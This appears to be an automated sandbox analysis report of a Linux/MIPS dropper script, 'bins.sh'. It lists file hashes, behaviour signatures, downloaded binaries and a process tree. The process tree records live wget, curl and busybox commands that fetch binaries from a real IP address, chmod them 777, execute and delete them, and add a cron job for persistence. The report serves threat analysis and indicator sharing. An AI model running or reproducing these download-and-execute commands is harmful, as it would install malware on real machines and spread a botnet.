Analysis

  • max time kernel
    149s
  • max time network
    88s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25-11-2024 17:05

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ff11827cacbdfc494c394c5d8e7272db

  • SHA1

    9acddf73007240f35b04f7fe4732d47cd0b04137

  • SHA256

    10e3e3e76552e191e9c880e374448c94e4d9ea8b76337345ffed3305d3b6722e

  • SHA512

    a045f1446bdb8160644c1e258d5a17327dc5d81b05bda3fddbe70b00007d6b63363d4b98f10a9c1fbcdf87befe5a73a543a4e0f7728feae5ad0e053384968958

  • SSDEEP

    192:JBVtKqN2M/XoDM9VR9/9d9k9I9NGjOHBVtKq8sXU9VR9/9d9k9I9Ton:t2MfoDM9X9/9d9k9I9NG6m2U9X9/9d9y

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:709
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Writes file to tmp directory
          PID:719
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          ./VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • Writes file to tmp directory
            PID:770
          • /bin/chmod
            chmod 777 cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • File and Directory Permissions Modification
            PID:776
          • /tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            ./cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • Executes dropped EXE
            PID:778
          • /bin/rm
            rm cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
              PID:782
            • /usr/bin/wget
              wget http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • Writes file to tmp directory
              PID:784
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:796
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • Writes file to tmp directory
              PID:799
            • /bin/chmod
              chmod 777 cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • File and Directory Permissions Modification
              PID:804
            • /tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              ./cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
              • Executes dropped EXE
              PID:805
            • /bin/rm
              rm cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF
              2⤵
                PID:808
              • /usr/bin/wget
                wget http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • Writes file to tmp directory
                PID:809
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:822
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • Writes file to tmp directory
                PID:836
              • /bin/chmod
                chmod 777 Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • File and Directory Permissions Modification
                PID:837
              • /tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                ./Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                • Executes dropped EXE
                PID:838
              • /bin/rm
                rm Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK
                2⤵
                  PID:840
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • Writes file to tmp directory
                  PID:841
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:842
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/chmod
                  chmod 777 guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • File and Directory Permissions Modification
                  PID:844
                • /tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  ./guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:845
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:847
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:848
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:849
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:850
                    • /bin/rm
                      rm guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU
                      2⤵
                        PID:852
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/IzLa6g8n5Y2XcCsUmbgo9RPFzontynPRGY
                        2⤵
                          PID:855

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/Dlp8A0K0s4DR7RCRweb7oX3gJ3h5ACtXOK

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr

                        Filesize

                        119KB

                        MD5

                        1b166b95f9cb4b079ef1b9ec8363ddf3

                        SHA1

                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                        SHA256

                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                        SHA512

                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                      • /tmp/cMKrN2gdlVJ66pJWdlBItZr7RH3GInmOZF

                        Filesize

                        111KB

                        MD5

                        701e7a55a4f3650f5feee92a9860e5fc

                        SHA1

                        6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                        SHA256

                        ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                        SHA512

                        7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                      • /tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /tmp/guqjRyDdX1ckoRWEycAAsKPTqROW5o7COU

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /var/spool/cron/crontabs/tmp.O2NWSO

                        Filesize

                        210B

                        MD5

                        76c9279782d7334b94f641b1f71b7ca4

                        SHA1

                        773ec77b4eeaf2410ea955d75b37f50b8f3db255

                        SHA256

                        f9cc8fc6200f6ec04be52ec765b18af0777cb4c90fbd3a139355e664e1d15559

                        SHA512

                        966bc6b5a7cc0fee9c91e28b6ea934557899377d2ad8ac1f89609adf239c22755d03f1e220e508d21f2d8bce029241708032238d859650e03dea9460c95454cc